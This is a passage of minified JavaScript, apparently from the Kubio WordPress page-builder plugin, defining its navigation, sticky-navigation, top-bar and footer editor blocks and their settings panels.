o={left:{unit:"px",value:20},right:{unit:"px",value:0}};["mobile","tablet","desktop"].forEach((n=>{e.setStyle("margin",o,{media:n,ancestor:"sticky"===t?"sticky":""})}))})(o,t),ah(o,{desktop:"left",mobile:"center"},t),lh(o.withParent(),t)}},[th.MENU_LOGO_CUSTOM]:{[hn.LOGO](e,t="normal",o){ih(o,{desktop:"center",mobile:"center"},t),lh(o.withParent(),t)},[hn.DROPDOWN_MENU](e,t="normal",o){rh(o,{desktop:"left",mobile:"left"},t),lh(o.withParent(),t)},[hn.BUTTON_GROUP](e,t="normal",o){ah(o,{desktop:"right",mobile:"center"},t),lh(o.withParent(),t)}},[th.LOGO_CUSTOM_MENU_BELLOW]:{[hn.LOGO](e,t="normal",o){ih(o,{desktop:"left",mobile:"left"},t),uh(o.withParent(),1,t)},[hn.BUTTON_GROUP](e,t="normal",o){ah(o,{desktop:"right",mobile:"center"},t),uh(o.withParent(),3,t)},[hn.DROPDOWN_MENU](e,t="normal",o){rh(o,{desktop:"center",mobile:"right"},t),uh(o.withParent(),2,t)}}},ph={ancestor:""},dh=(e,t)=>{let o=null;return e&&e.length&&e.forEach((e=>{e.blockName===t&&(o=e)})),o},mh=e=>dh(e.withChildren(),hn.NAVIGATION_SECTION),hh=e=>{const t=mh(e);return dh(null==t?void 0:t.withChildren(),hn.NAVIGATION_ITEMS)},bh=e=>{const t=mh(e);return t?dh(null==t?void 0:t.withChildren(),hn.NAVIGATION_STICKY_ITEMS):[]},gh=e=>{const t=hh(e);return t?t.withChildren():[]},yh=e=>{const t=bh(e);return t&&!Array.isArray(t)?t.withChildren():[]},kh="internal.navContent.type",fh="other",_h=async(e,t,{replaceInnerBlocks:o,removeBlock:n,insertBlock:a}={},i="")=>{var r;if(e===Lm.SAME){const e=bh(t);return null!=e&&e.clientId&&await n(null==e?void 0:e.clientId),function(e){const t=gh(e);je().each(t,((e,t)=>{const o=e.withChildren();je().each(o,(e=>{const t={local:!0,styledComponent:"container"},o=e.getStyleByMedia("columnWidth",null,{ancestor:"",fromRoot:!0,...t});je().each(o,((o,n)=>{o&&e.setStyle("columnWidth",o,{ancestor:"sticky",media:n,unset:!0,...t})}))}))}))}(t),void vh(t,ch[i],"sticky")}const s=null===(r=eh().NavLayoutsSticky[e])||void 0===r?void 0:r.rows;let l=bh(t);if(!l){var u;const e=gh(t).map((e=>e.exportAsTemplate(!0,!0))),o=(0,gt.createBlocksFromInnerBlocksTemplate)([(0,Ne.composeBlockWithStyle)(hn.NAVIGATION_STICKY_ITEMS,{},e)]),n=null===(u=mh(t))||void 0===u?void 0:u.clientId;await a(o[0],0,n,!1)}l=bh(t);const c=yh(t);await xh(e,t,{existingRows:c,replaceInnerBlocks:o,state:"sticky",itemsBlock:l,templateRows:s})},vh=(e,t,o)=>{t&&e.group((()=>{e.walk((e=>{const n=null==t?void 0:t[e.blockName];n&&n(null,o,e)}))}))},xh=async(e,t,{replaceInnerBlocks:o,state:n="normal",existingRows:a,itemsBlock:i,templateRows:r})=>{const s=ch[e],l=((e,t=[])=>{const o=je().cloneDeep(e),n=Ch(t),a=[];return je().each(o,((e,o)=>{const i=[];let r=[];if(je().each(e,(e=>{const t=null==n?void 0:n[e.type];let o;o=t?((e,{block:t,options:o})=>{const n=je().get(o,"sticky"),a=je().get(o,"width"),i=o.mobileWidth||o.width,r=ia({},a,i);let s;s=n?{ancestor:{sticky:r}}:r;const l=e.exportAsTemplate(),u=l[2],c={};return e.withChildren().forEach((e=>{c[e.blockName]=!0})),je().each(t[2],(e=>{je().has(c,e[0])||u.push(e)})),(0,Ne.composeBlockWithStyle)(hn.COLUMN,{attributes:{...je().merge(l[1],{kubio:{_style:s,style:o.style||{},props:o.props||{}}})}},l[2])})(t.columnHelper,e):e.block,i.push(o)})),r=[hn.ROW,{},[]],t.length){let e;t[o]?e=t[o]:(e=t[0],e.unlinkBlockAfterDuplicate(!1)),r=e.exportAsTemplate(!1)}r[2]=i,a.push(r)})),a})(r,a),u="normal"===n?hh(t):bh(t);u.group((async()=>(await o(null==i?void 0:i.clientId,(0,gt.createBlocksFromInnerBlocksTemplate)(l)),vh(u,s,n))))},Ch=e=>{const t=[];return je().each(e,(e=>{const o=e.withChildren();je().each(o,(e=>{const o=e.getProp(kh,fh,ph);t.push({type:o,columnHelper:e})}))})),je().mapKeys(t,"type")},Ih=(e,t="normal",o="custom")=>{const n=("normal"===t?gh(e):yh(e)).map((e=>e.withChildren().map((e=>e.getProp(kh,fh,ph))))),a=eh(!0),i="normal"===t?a.NavLayouts:a.NavLayoutsSticky;let r=o;return je().each(i,(({structure:e},t)=>{if(Fm()(n,e))return r=t,!1})),r};function Eh({slug:e,type:t,hooks:o}){const{getEntityRecords:n,getEntityRecordEdits:a}=o,i=n("postType",t,{per_page:-1}).find((function(t){return t.slug===e}));if(!i)return;const r=a("postType",i,i.id);let s;var l;return s=r?r.blocks:(0,gt.parse)(null==i||null===(l=i.content)||void 0===l?void 0:l.raw),s}const Th="core/block-editor",Sh=({startAfter:e,layoutType:t,animation:o})=>{const n=e.value===Sm;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Show sticky nav","kubio"),options:Pm,...e}),(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Sticky navigation layout","kubio"),options:Gm,...t}),n&&(0,Je.jsxs)("div",{className:"navigation_animation_container",children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Animation","kubio"),options:Im.items,...o}),o.value!==_m.NONE&&(0,Je.jsx)(ut.RangeWithPath,{path:"animation.duration.value",max:2,step:.1,style:dm.NAVIGATION,type:Ne.WithDataPathTypes.STYLE,label:(0,We.__)("Animation duration","kubio")})]})]})},wh={ancestor:""},Ph=(0,De.compose)((0,Ne.withObserveOtherBlocks)(((e,t,{dataHelper:o})=>e("core/block-editor").getBlocks(o.clientId).filter((e=>e.name===Wt.NAVIGATION_TOP_BAR)).map((({clientId:e})=>e)))),(0,Ne.withComputedData)((e=>{const t=e.withChildren(),[{pageContext:o,siteContext:n,isDefaultEditor:a}]=null!==(i=kubio)&&void 0!==i&&null!==(r=i.ai)&&void 0!==r&&r.useAIData?kubio.ai.useAIData():[fm];var i,r;const s=(0,Le.useSelect)((e=>{var t;return(null===(t=e(Be.STORE_KEY))||void 0===t?void 0:t.isAICapabilityEnabled())||!1}),[]),l=(0,Ne.useGroupDispatch)(),{insertBlock:u,removeBlock:c}=(0,Le.useDispatch)(Th),p=e.getProp("sticky",wh,!1),d=(()=>{const e=(0,Ne.getBlockDefaultVariation)(hn.NAVIGATION_TOP_BAR);if(!e)return{};const{attributes:t,innerBlocks:o}=e;return(0,gt.createBlock)(hn.NAVIGATION_TOP_BAR,t,(0,Ne.convertTemplateFormatToBlock)(o))})(),m=(e=>je().find(e,(e=>{if(e.blockName===hn.NAVIGATION_TOP_BAR)return!0})))(t),{setAncestor:h}=(0,Ne.useAncestorContext)(),b={value:p,onChange:t=>{e.setProp("sticky",t,wh),t&&(()=>{const{getBlocks:t}=(0,Le.select)("core/block-editor"),o=t(null==e?void 0:e.clientId),n=(0,Ze.findBlockByName)(o,"kubio/logo");if(!n)return;const a=je().cloneDeep(je().get(n,"attributes.kubio"));je().set(a,"style.ancestor.sticky.descendants.text.typography.color","rgba(var(--kubio-color-6),1)"),je().set(a,"hash",Tu()());const{updateBlockAttributes:i}=(0,Le.dispatch)("core/block-editor");i(null==n?void 0:n.clientId,{kubio:a})})(),t||h("")}},g={value:!!m,onChange:t=>{if(t){const t=je().cloneDeep(d);!a&&s&&(0,Ze.walkBlocks)(t,(e=>(0,Pe.applyFilters)("kubio.navigation.topBarBlockBeforeInsert",e,n,o))),u(t,0,null==e?void 0:e.clientId,!1)}else c(m.clientId)}},y=m?m.usePropPath("width"):{},{replaceInnerBlocks:k}=(0,Le.useDispatch)(Th),f=Ih(e),_=(0,Me.useMemo)((()=>{let e=Mm;return f!==Lm.CUSTOM&&(e=e.filter((e=>e.value!==Lm.CUSTOM))),e=rc(e),e}),[f]),v={value:f,onChange:t=>{l((()=>(async(e,t,o={})=>{t.group((async()=>{const{replaceInnerBlocks:n}=o;try{const a=gh(t),i=hh(t),r=eh().NavLayouts[e],s=je().get(r,"stickyLayout",Lm.SAME),l=r.rows;await xh(e,t,{existingRows:a,replaceInnerBlocks:n,itemsBlock:i,templateRows:l}),await _h(s,t,o,e)}catch(e){throw e}}))})(t,e,{replaceInnerBlocks:k,removeBlock:c,insertBlock:u})))},options:_},x=Ih(e,"sticky",Lm.SAME);return{layoutTypeProps:v,showTopBar:g,sticky:b,stickyOptions:{animation:e.usePropPath("animation.name",wh),layoutType:{value:x,onChange:t=>{_h(t,e,{replaceInnerBlocks:k,removeBlock:c,insertBlock:u},f)}},startAfter:e.usePropPath("stickyStartAt",wh)},topBarWidth:y,overlap:{value:e.getProp("overlap",!1,wh),onChange:t=>{e.setProp("overlap",t);let o={};t||(o=e.getStyle("background",{},{ancestor:"sticky"})),e.setStyle("background",o,{...wh,mergeData:!1})}}}})))((({computed:e,dataHelper:t})=>{const{layoutTypeProps:o,showTopBar:n,sticky:a,stickyOptions:i,topBarWidth:r,overlap:s}=e,l=(0,Ne.useDataHelperDefaultOptionsContext)({defaultOptions:{ancestor:""}}),{showCopyFrontpage:u,onCopyFrontNavigationChange:c}=function(e){const{replaceBlock:t,selectBlock:o}=(0,Le.useDispatch)("core/block-editor"),{isGutentag:n}=(0,Le.useSelect)((e=>({isGutentag:!!e(Be.STORE_KEY)})),[]);if(!n)return{showCopyFrontpage:!1,copyNavFromFrontpage:je().noop(),isNavigationLinkedToFrontPage:!1,onCopyFrontNavigationChange:je().noop()};const{currentFrontEntity:a,getEntityRecords:i,currentSlug:r,getEntityRecordEdits:s}=(0,Le.useSelect)((e=>{const{getEntityRecords:t,getEntityRecordEdits:o,getEditedEntityRecord:n}=e("core");return{currentSlug:je().get(e(Be.STORE_KEY).getPage(),"slug",""),getEntityRecordEdits:o,getEntityRecords:t,currentFrontEntity:n("root","site").show_on_front}}),[]),{frontendHeaderSlug:l,frontendNavigation:u}=(0,Me.useMemo)((()=>{if("page"!==a)return{frontendHeaderSlug:"",frontendNavigation:!1};const e={getEntityRecordEdits:s,getEntityRecords:i},t=Eh({slug:"front-page",type:"wp_template",hooks:e});if(!t)return{frontendHeaderSlug:"",frontendNavigation:!1};const o=t.filter((function(e){return"kubio/header"===e.name}))[0],n=je().get(o,"attributes.slug"),r=Eh({slug:n,type:"wp_template_part",hooks:e});return t?{frontendHeaderSlug:n,frontendNavigation:null==r?void 0:r.filter((function(e){return"kubio/navigation"===e.name}))[0]}:{frontendHeaderSlug:"",frontendNavigation:!1}}),[]),c=(0,Me.useMemo)((()=>{const t=e.withParent();return"front_page"!==r&&l!==t.getAttribute("slug")&&!1!==u}),[l,r]),p=()=>{if(!1!==u){var n;let a=je().cloneDeep(u);a=(0,Ze.refreshBlockStyleRefs)(a),t(e.clientId,a),o(null===(n=a)||void 0===n?void 0:n.clientId)}};return{frontendNavigation:u,showCopyFrontpage:c,copyNavFromFrontpage:p,onCopyFrontNavigationChange:()=>{p()}}}(t);return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel",children:[(0,Je.jsxs)(Ne.DataHelperDefaultOptionsContext.Provider,{value:l,children:[u&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Re.Button,{className:"copy-front-navigation",isPrimary:!0,onClick:()=>{c()},children:(0,We.__)("Copy front page navigation","kubio")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{})]}),(0,Je.jsx)(ut.SelectWithIconControl,{label:(0,We.__)("Navigation layout","kubio"),...o}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.PopoverOptionsButton,{isProOnly:!0,label:(0,We.__)("Stick on scroll","kubio"),toggable:!0,position:"middle right",onToggleChange:a.onChange,enabled:!!a.value,popoverWidth:300,popupContent:(0,Je.jsx)(Sh,{...i}),upgradeUrlArgs:{source:"navigation",content:"sticky"}}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Overlap hero","kubio"),...s}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Show top bar","kubio"),...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleGroupWithPath,{options:Bm,label:(0,We.__)("Container width","kubio"),type:"prop",path:"width"}),n.value&&(0,Je.jsx)(ut.ToggleGroup,{options:Bm,label:(0,We.__)("Top bar width","kubio"),...r})]}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Navigation padding","kubio"),path:["padding.top","padding.bottom"],type:"style",style:dm.NAVIGATION_SECTION})]})})),Ah=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Ph,{})}),jh=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(ut.BackgroundSection,{})}),Bh=()=>(0,Je.jsx)(st.InnerBlocks.Content,{}),Nh=hn.NAVIGATION,Oh=[...Rm,...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",Nh,((e,t)=>t===Nh?Oh:e));const Rh={name:"kubio/navigation",title:"Navigation",description:"If you've accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},elementsByName:{outer:{wrapper:!0,props:{className:[]}},section:{ancestor:"sticky",default:!0,selector:".wp-block-kubio-navigation-section__nav"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{style:{descendants:{section:{animation:{duration:{unit:"s",value:.5}}}}},props:{width:"boxed",verticalAlign:"center",overlap:!1,sticky:!1,stickyStartAt:"immediately",animation:{name:"slideDown"}}}},multiple:!1}},Dh=(0,Sn.extendBlockMeta)(Rh,{title:(0,We.__)("Navigation","kubio"),description:(0,We.__)("If youβve accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.","kubio"),icon:Tn.BlockIcons.Navigation,apiVersion:2,keywords:[],parent:["kubio/header"],supports:{kubio:{elementsByName:mm},anchor:!1,reusable:!1,html:!1,multiple:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Ah,{}),(0,Je.jsx)(jh,{}),(0,Je.jsx)(km,{...e})]})},save:Bh,innerBlocksDisableInBetweenInserter:!0}),Lh=(0,Me.createContext)({sameLayout:!0}),Mh="nav-section",Wh={["nav"]:{label:(0,We.__)("Navigation","kubio"),supports:{styles:jn.StylesPresetsEnum.ALL,states:jn.StatesPresetsEnum.BASIC,separator:!0}},[Mh]:{label:(0,We.__)("Section","kubio"),internal:!0,supports:{styles:jn.StylesPresetsEnum.ALL,states:jn.StatesPresetsEnum.BASIC}}},Hh=[hn.NAVIGATION_ITEMS,hn.NAVIGATION_STICKY_ITEMS],Gh=[(0,Ne.composeBlockWithStyle)(hn.NAVIGATION_ITEMS,{attributes:{}})],Uh=(0,De.compose)((0,De.createHigherOrderComponent)((e=>t=>{const{clientId:o}=t,{children:n}=(0,Le.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{children:t(o)}})),a=(0,Me.useMemo)((()=>({sameLayout:1===n.length})),[n.length]);return(0,Je.jsx)(Lh.Provider,{value:a,children:(0,Je.jsx)(e,{...t})})})),(0,Ne.refreshOnParentChange)(),(0,Ne.withColibriDataAutoSave)(((e,t)=>{const o=e.withParent(),n={ancestor:""},a=o.getProp("stickyStartAt","",n)===Sm,i=o.getProp("animation.name","",n),r=o.getStyle("animation.duration.value",0,{media:"desktop",styledComponent:dm.NAVIGATION_CONTAINER,...n}),s=o.getProp("sticky",!1,n),l=o.getStyle("padding",{styledComponent:dm.NAVIGATION,ancestor:"sticky"});return{overlap:o.getProp("overlap",!1,n),verticalAlignByMedia:o.getPropByMedia("verticalAlign",{},n),widthType:o.getProp("width",void 0,n),isStickyEnabled:s,enableAnimation:a,duration:r,animationName:i,stickyPadding:l}})),(0,Ne.withStyledElements)(((e={})=>{const{computed:t={}}=e;return{[Mh]:{className:()=>{const{widthType:e=Am.BOXED}=t,o=[];return jm[e]&&o.push(jm[e]),o}}}})),(0,Ne.withContainerBase)(),(0,Ne.withRedirectSelectionToParent)()),Fh=Uh((e=>{const{StyledElements:t,Separators:o,Background:n,computed:a,dataHelper:i}=e,{enableAnimation:r,animationName:s,duration:l,overlap:u,stickyPadding:c,isStickyEnabled:p}=a,d=i.withParent(),m=bn({},{renderAppender:!1,templateLock:!1,template:Gh,allowedBlocks:Hh}),{rootClientId:h}=(0,Le.useSelect)((e=>{const{getBlockRootClientId:t}=e("core/block-editor");return{rootClientId:t(null==i?void 0:i.clientId)}})),b=(0,Me.useRef)();((e,t)=>{const o=hm(),n=(0,Me.useMemo)((()=>e.current?e.current.closest(`[data-kubio="${Wt.NAVIGATION}"]`)?e.current.closest(`[data-kubio="${Wt.NAVIGATION}"]`):e.current:null),[e.current]),a=(0,De.useDebounce)((0,Me.useCallback)((()=>{if(n){if(n.getAttribute("data-kubio")===Wt.NAVIGATION&&n.querySelector(".h-navigation_sticky"))return;const e=n.getBoundingClientRect().height;o("--kubio-navigation-height",e+"px"),o("--kubio-navigation-padding",t?e+"px":"0px")}else o("--kubio-navigation-height","0px"),o("--kubio-navigation-padding","0px")}),[n,t,o]),100),i=(0,Me.useMemo)((()=>new ResizeObserver(a)),[a]);(0,Me.useLayoutEffect)((()=>(n&&(t?i.observe(n,{box:"border-box"}):i.disconnect(),a()),()=>{n&&i.disconnect(),o("--kubio-navigation-height","0px"),o("--kubio-navigation-padding","0px")})),[a,n,t,i,o])})(b,u);const{sectionOptionsProps:g,containerProps:y}=Kn({menuItems:Rm}),{ancestor:k,setAncestor:f}=(0,Ne.useAncestorContext)(),_=p&&"sticky"===k,v=(0,Me.useMemo)((()=>!!p&&(({enableAnimation:e,animationName:t,animationDuration:o})=>({prepare:!1,startAfterNode:{enabled:e},animations:{enabled:e,duration:o,name:t}}))({enableAnimation:r,animationName:s,animationDuration:l})),[p,r,s,l]);((e,{ancestor:t,setAncestor:o})=>{const{ownerDocument:n}=(0,Ne.useOwnerDocumentContext)(),a=(0,Me.useMemo)((()=>{if(!n)return null;let e;return e=n.isSameNode(top.document)?n.querySelector(".edit-site-visual-editor"):[n.body,n],e}),[n]),i=(0,Me.useMemo)((()=>n?n.querySelector(".wp-block-kubio-header"):null),[n]),r=(0,De.useDebounce)((0,Ne.useDeepCallback)((()=>{var n,r,s,l;if(!a)return;let u;if(u=Array.isArray(a)?a[0]:a,!u||!t&&!(0,Ae.isFunction)(o))return;const c=i&&i.getBoundingClientRect(),p=null!=e&&null!==(n=e.startAfterNode)&&void 0!==n&&n.enabled&&i?i.offsetTop+c.height:0;return((null===(r=u)||void 0===r?void 0:r.scrollTop)||(null===(s=u)||void 0===s||null===(l=s.defaultView)||void 0===l?void 0:l.scrollY))>p?"sticky"!==t&&o("sticky"):""!==t&&o(""),()=>{o("")}}),[a,t,i]),100);(0,Me.useLayoutEffect)((()=>{if(a&&e)return r(),Array.isArray(a)?a.forEach((e=>{e.addEventListener("scroll",r)})):a.addEventListener("scroll",r),()=>{a&&(Array.isArray(a)?a.forEach((e=>{e.removeEventListener("scroll",r)})):a.removeEventListener("scroll",r))}}),[a,e,r])})(v,{ancestor:k,setAncestor:f});let x=[];if(_){const e=[];v.animations.enabled&&e.push(Im.inOutAnimations.byName[v.animations.name].IN),x=x.concat(["h-navigation_sticky"],e)}return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(t.Nav,{ref:b,...y,className:Ge()(x),children:[(0,Je.jsx)(qn,{...g,dataHelper:d}),(0,Je.jsxs)(ut.TemplatePartOverlay,{templatePart:"header",clientId:h,from:"navigation",isNavigation:!0,initialLockOverlay:!1,isStickyNav:_,stickyPadding:c,children:[(0,Je.jsx)(n,{}),(0,Je.jsx)(o,{}),(0,Je.jsx)(t.NavSection,{...m})]})]}),(0,Je.jsx)("div",{className:"h-navigation-placeholder"})]})})),zh={name:"kubio/navigation-section",category:"kubio-layout",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION:"nav",NAVIGATION_SECTION:"nav-section"},elementsByName:{nav:{internal:!0,default:!0,ancestor:"sticky",props:{className:["h-section","h-navigation"]}},"nav-section":{internal:!0,props:{className:["h-section-grid-container h-section-fluid-container"]}}},template:{type:"element",props:{name:"nav"},children:[{type:"element",props:{name:"nav-section"},children:[{type:"wp:InnerBlocks"}]}]}}}},Vh=(0,Sn.extendBlockMeta)(zh,{title:(0,We.__)("Navigation Section","kubio"),icon:Tn.BlockIcons.Section,apiVersion:2,keywords:[],supports:{kubio:{elementsByName:Wh},anchor:!1,reusable:!1,html:!1,inserter:!1},edit:function(e){return(0,Je.jsx)(Fh,{...e})},save:Bh,innerBlocksDisableInBetweenInserter:!0}),Yh=(e,t,o)=>oa(((e,t)=>je().merge(e,{props:{internal:{navContent:{type:t}}}}))(t,e),o),$h=(e,t,o)=>je().merge(e,{_style:ia({},t,o)}),Kh=e=>Jn({props:{layout:{equalWidth:!1}}},[Yh("logo",$h({},la()),[qh()]),Yh("spacing",$h({},sa(),sa()),[]),Yh("menu",$h({},la()),[e])]),qh=()=>(0,Ne.composeBlockWithStyle)(hn.LOGO,{attributes:{}}),Xh="outer",Qh={[Xh]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},Zh=(0,De.compose)((0,Ne.refreshOnParentChange)(),(0,Ne.withColibriDataAutoSave)((e=>{const{ancestor:t}=(0,Ne.useAncestorContext)(),{sameLayout:o}=(0,Me.useContext)(Lh);return{hide:!o&&"sticky"===t}})),(0,Ne.withStyledElements)(),(0,Ne.withRedirectSelectionToParent)())((({computed:e,StyledElements:t,clientId:o})=>{const{hide:n}=e,a=(0,Me.useMemo)((()=>(()=>{const e=(()=>{const e=(0,Ne.getBlockDefaultVariation)(hn.DROPDOWN_MENU);return e?[null==e?void 0:e.name,null==e?void 0:e.attributes,null==e?void 0:e.innerBlocks]:null})();let t=null;return e&&(t=[Kh(e)]),t})()),[]),i=(0,Me.useMemo)((()=>a),[o,null==a?void 0:a.length]),r=bn((0,Ne.useBlockElementProps)(Xh,{style:{display:n?"none":""}}),{templateLock:!1,renderAppender:!1,template:i});return(0,Je.jsx)(t.Outer,{...r})})),Jh=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Zh,{...e})})})),eb={name:"kubio/navigation-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-normal":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},tb=(0,Sn.extendBlockMeta)(eb,{title:(0,We.__)("Navigation Normal Items","kubio"),icon:Tn.BlockIcons.Section,apiVersion:2,supports:{kubio:{elementsByName:Qh},inserter:!1,reusable:!1,html:!1},edit:Jh,save:Bh}),ob=(0,De.compose)((0,Ne.refreshOnParentChange)(),(0,Ne.withColibriData)(((e,t)=>{const{ancestor:o}=(0,Ne.useAncestorContext)();return{showSticky:"sticky"===o}})),(0,Ne.withStyledElements)(),(0,Ne.withRedirectSelectionToParent)())((({computed:e,StyledElements:t,clientId:o})=>{const{showSticky:n}=e,a=(0,Me.useMemo)((()=>[da.Default]),[o]),i=bn((0,Ne.useBlockElementProps)(Xh,{style:{display:n?"":"none"}}),{templateLock:!1,renderAppender:!1,template:a});return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(t.Outer,{...i})})})),nb=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ob,{...e})})})),ab={outer:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},ib={name:"kubio/navigation-sticky-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-sticky":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},rb=(0,Sn.extendBlockMeta)(ib,{title:(0,We.__)("Navigation Sticky Items","kubio"),icon:Tn.BlockIcons.Section,apiVersion:2,supports:{kubio:{elementsByName:ab},inserter:!1,reusable:!1,html:!1},edit:nb,save:Bh}),sb=je().merge({},$n.EDIT_LAYOUT,{label:(0,We.__)("Change top bar layout","kubio")}),lb=je().merge({},$n.SELECT_BLOCK,{label:(0,We.__)("Top bar settings","kubio")}),ub=[[$n.CHANGE_BACKGROUND,sb],[lb]],cb=oa({attributes:{heroType:"text"}},[]),{Section:pb}=(Jn({props:{layout:{equalWidth:!0}}},[cb]),mi({menuItems:ub})),db=(0,De.compose)([(0,Ne.withComputedData)((e=>{var t;const o=e.useStylePath("customHeight",{styledComponent:ha});return{showContentPosition:!!o.value&&(null==o||null===(t=o.value)||void 0===t?void 0:t.type)!==jn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:o}}))])((({computed:e})=>{const{heightProps:t,showContentPosition:o}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel",children:[(0,Je.jsx)(ut.SelectControlWithPath,{options:fa,label:(0,We.__)("Container width","kubio"),type:"prop",path:"width"}),(0,Je.jsx)(ut.CustomHeightControl,{label:(0,We.__)("Container height","kubio"),...t}),o&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{label:(0,We.__)("Content position","kubio"),path:"verticalAlign",type:"prop"})]})})),mb=(0,Ne.withComputedData)((e=>{}))((({computed:e}={})=>{const t={unit:"px",value:0};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Spacing","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Top spacing","kubio"),path:"padding.top",max:200,defaultValue:t,style:ha,type:"style"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Bottom spacing","kubio"),path:"padding.bottom",max:200,defaultValue:t,style:ha,type:"style"})]})})),hb=()=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[(0,Je.jsx)(db,{}),(0,Je.jsx)(mb,{})]}),bb=hn.NAVIGATION_TOP_BAR,gb=[...ub,...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",bb,((e,t)=>t===bb?gb:e));const yb={name:"kubio/navigation-top-bar",title:"Navigation Top Bar",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex"]}},inner:{props:{className:["h-section-grid-container"]}},typographyHolders:{selector:" > *"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{width:"full-width",verticalAlign:"center"}}}}},kb=(0,Sn.extendBlockMeta)(yb,{title:(0,We.__)("Top Bar","kubio"),icon:Tn.BlockIcons.Navigation,keywords:[],parent:[hn.NAVIGATION],apiVersion:2,supports:{kubio:{elementsByName:ga},anchor:!0,reusable:!1,html:!1,multiple:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(hb,{}),(0,Je.jsx)(Bi,{}),(0,Je.jsx)(pb,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}});(0,Pe.addFilter)("kubio.section-ai-options.showSectionHoverControl","block-library.navigation",((e,t,o)=>t!==hn.NAVIGATION_TOP_BAR&&(t!==hn.NAVIGATION||"desktop"===o)&&e)),(0,Pe.addFilter)("kubio.section-ai-options.showRegenerateButton","block-library.navigation",((e,t)=>![hn.NAVIGATION,hn.NAVIGATION_TOP_BAR].includes(t)&&e));const fb={Navigation:m,NavigationSection:h,NavigationNormalItems:b,NavigationStickyItems:g,NavigationTopBar:y},_b=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e;return(0,Je.jsx)(ut.TemplatePartOverlay,{templatePart:"footer",clientId:o,from:"footer",children:(0,Je.jsx)(Ss,{blockArea:"footer",tagName:t.Container,...e})})})),vb=(0,Ne.withComputedData)((e=>({useFooterParallax:e.getProp("useFooterParallax")})))((({computed:e})=>{const{useFooterParallax:t}=e,o=(0,Je.jsx)(Je.Fragment,{children:t&&(0,Je.jsx)(ut.ControlNotice,{content:(0,We.__)("The footer parallax feature is not visible inside the 